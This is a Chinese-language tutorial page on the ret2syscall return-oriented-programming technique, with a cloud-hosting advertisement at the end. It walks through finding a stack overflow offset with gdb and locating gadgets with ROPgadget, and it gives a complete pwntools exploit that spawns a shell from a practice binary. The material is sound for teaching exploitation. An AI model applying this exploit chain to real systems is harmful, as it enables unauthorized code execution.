基礎(chǔ)知識(shí):

我們?cè)谇懊嬷v的ret2text,ret2shellcode,今天來(lái)講下ret2syscall,也就是調(diào)用系統(tǒng)函數(shù)來(lái)獲取shell.
這里在講兩個(gè)概念:第一:ROP(Return-oriented programming),是一種基于代碼復(fù)用技術(shù)的新型***,***者供已有的庫(kù)或可執(zhí)行文件中提取指令片段、構(gòu)建惡意代碼。
第二:Gadgets是指在程序中的指令片段,有時(shí)我們?yōu)榱诉_(dá)到我們執(zhí)行命令的目的,需要多個(gè)Gadget來(lái)完成我們的功能。Gadget最后一般都有ret,因?yàn)橐v程序控制權(quán)(ip)給下一個(gè)Gadget。
第一步:分析程序獲取溢出偏移量
我們先將程序拖到IDA中去分析(要注意32的程序就要用32位的IDA去分析,64的程序就要用64位的IDA去分析,如果不這么做F5看C的偽代碼時(shí)看不了。)

第八行里又一個(gè)gets函數(shù)是有溢出漏洞的,這個(gè)問(wèn)題我們?cè)趓et2shellcode里已經(jīng)講過(guò)了。此時(shí)我們要使用gdb里的pattern offset來(lái)獲取溢出偏移量,這次我們換種方法獲取。使用gdb打開ret2syscall。
在gets函數(shù)位置打斷點(diǎn):b gets 然后輸入r開始調(diào)試
在輸入finish(結(jié)束當(dāng)前函數(shù)調(diào)用,返回上層函數(shù))


輸入幾個(gè)字母,這里我輸入的是margin,然后回車

此時(shí)我們發(fā)現(xiàn)ebp的地址是0xffffd618 , esp的值是0xffffd5ac,要覆蓋的ebp需要esp - ebp=0x6c位,在加上4位的ebp為112,所以我們要覆蓋到返回值,執(zhí)行我們的命令。
第二步:獲取shell
我們知道溢出偏移量了,現(xiàn)在我們想執(zhí)行命令,例如execve("/bin/sh",null,null)。此時(shí)要設(shè)計(jì)到Linux在調(diào)用系統(tǒng)函數(shù)時(shí)的用法。
系統(tǒng)函數(shù)調(diào)用的指令是int 0x80,這是固定指令,他有四個(gè)參數(shù):
系統(tǒng)調(diào)用號(hào),即 eax 應(yīng)該為 0xb
第一個(gè)參數(shù),即 ebx 應(yīng)該指向 /bin/sh 的地址,其實(shí)執(zhí)行 sh 的地址也可以。
第二個(gè)參數(shù),即 ecx 應(yīng)該為 0
第三個(gè)參數(shù),即 edx 應(yīng)該為 0
如果你學(xué)過(guò)任意一門編程語(yǔ)言,可以理解為int 0x80(eax,ebx,ecx,edx)。可能會(huì)有這樣的疑問(wèn):為什么是eax,ebx,ecx,edx要設(shè)置為這些值,答案是系統(tǒng)在運(yùn)行的時(shí)候就是固定的要讀這四個(gè)寄存器,如果不這么寫,就不會(huì)調(diào)用到execve函數(shù)。
接下來(lái)我們就要一點(diǎn)點(diǎn)的去拼湊這些內(nèi)容,我們沒法直接在棧里寫指令,只能夠利用程序中自帶的指令去拼湊。
首先我們將eax設(shè)置為0xb,我們是沒法直接往棧里寫mov eax,0xb的,那么還有另一種方式是pop eax,但是要保證棧頂必須是0xb。
然后設(shè)置ebx,ecx,edx,同樣是這樣的道理,所以我們可以想象棧中的數(shù)據(jù)是:
pop eax;ret
0xb
pop ebx;pop ecx;pop edx;ret
"/bin/sh"的地址
0
0
int 0x80的地址
這樣我們就可以保值eax,ebx,ecx,edx的值了。
所以接下來(lái)我們要在程序中找一下有沒有pop eax;和pop ebx;pop ecx;pop edx;的指令。
需要用到一個(gè)工具:ROPgadget
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"
--only是指只有pop和ret指令

我們使用0x080bb196,符合我們的預(yù)期。
接下來(lái)找類似pop ebx;pop ecx;pop edx;的指令
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

恰好也有我們所需要的,只不過(guò)順序和我們的不同,在組織payload時(shí)候需要調(diào)換下順序。
我們?cè)谡乙幌伦址?bin/sh”的地址
ROPgadget --binary ./ret2syscall --string "/bin/sh"

地址為0x080be408
我們?cè)诓檎蚁隆癷nt 0x80”的地址
ROPgadget --binary ./ret2syscall --only "int"

地址為0x08049421
所以我們現(xiàn)在有了所有我們需要的內(nèi)容了,接下來(lái)寫payload。
payload = 'a' * offset + pop_eax_ret_addr + 0xb + pop_edx_ecx_ebx_ret_addr + 0 + 0 + bin_sh_addr + 80_addr
得到exp
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = 'A' * 112 + p32(pop_eax_ret) +p32(0xb)+p32(pop_edx_ecx_ebx_ret)+ p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
sh.sendline(payload)
sh.interactive()
最后,我們動(dòng)態(tài)調(diào)試下這個(gè)程序,看我們把payload發(fā)送到程序中后,程序是如何執(zhí)行的。
我們?cè)趐ython代碼中的sh.sendline(payload)前面加pause(),這樣我們可以使程序中斷,然后用gdb attach pid進(jìn)行調(diào)試
第一步:python代碼中加入sh.sendline(payload),然后執(zhí)行:python exp.py

我們的到這個(gè)進(jìn)程的pid為4679,此時(shí)我們使用命令:gdb attach 4679進(jìn)行調(diào)試
在gdb命令行輸入finish(結(jié)束當(dāng)前函數(shù),返回父級(jí)函數(shù)),這時(shí)候程序會(huì)等待我們輸入內(nèi)容,我們?cè)谶\(yùn)行python的頁(yè)面里回車,這時(shí)exp.py的payload就會(huì)被輸入到4679的進(jìn)程里。

此時(shí)我們發(fā)現(xiàn)exp.py里的內(nèi)容已經(jīng)放入棧中,然后我們輸入4次finish后代碼運(yùn)行到Main函數(shù)中

上圖標(biāo)紅的內(nèi)容就是我們payload里的內(nèi)容。
另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無(wú)理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國(guó)服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。
網(wǎng)頁(yè)標(biāo)題:緩沖區(qū)溢出-基本ROP-ret2syscall-創(chuàng)新互聯(lián)
文章URL:http://chinadenli.net/article16/dpsjdg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)網(wǎng)站制作、App開發(fā)、網(wǎng)頁(yè)設(shè)計(jì)公司、商城網(wǎng)站、品牌網(wǎng)站制作、外貿(mào)建站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容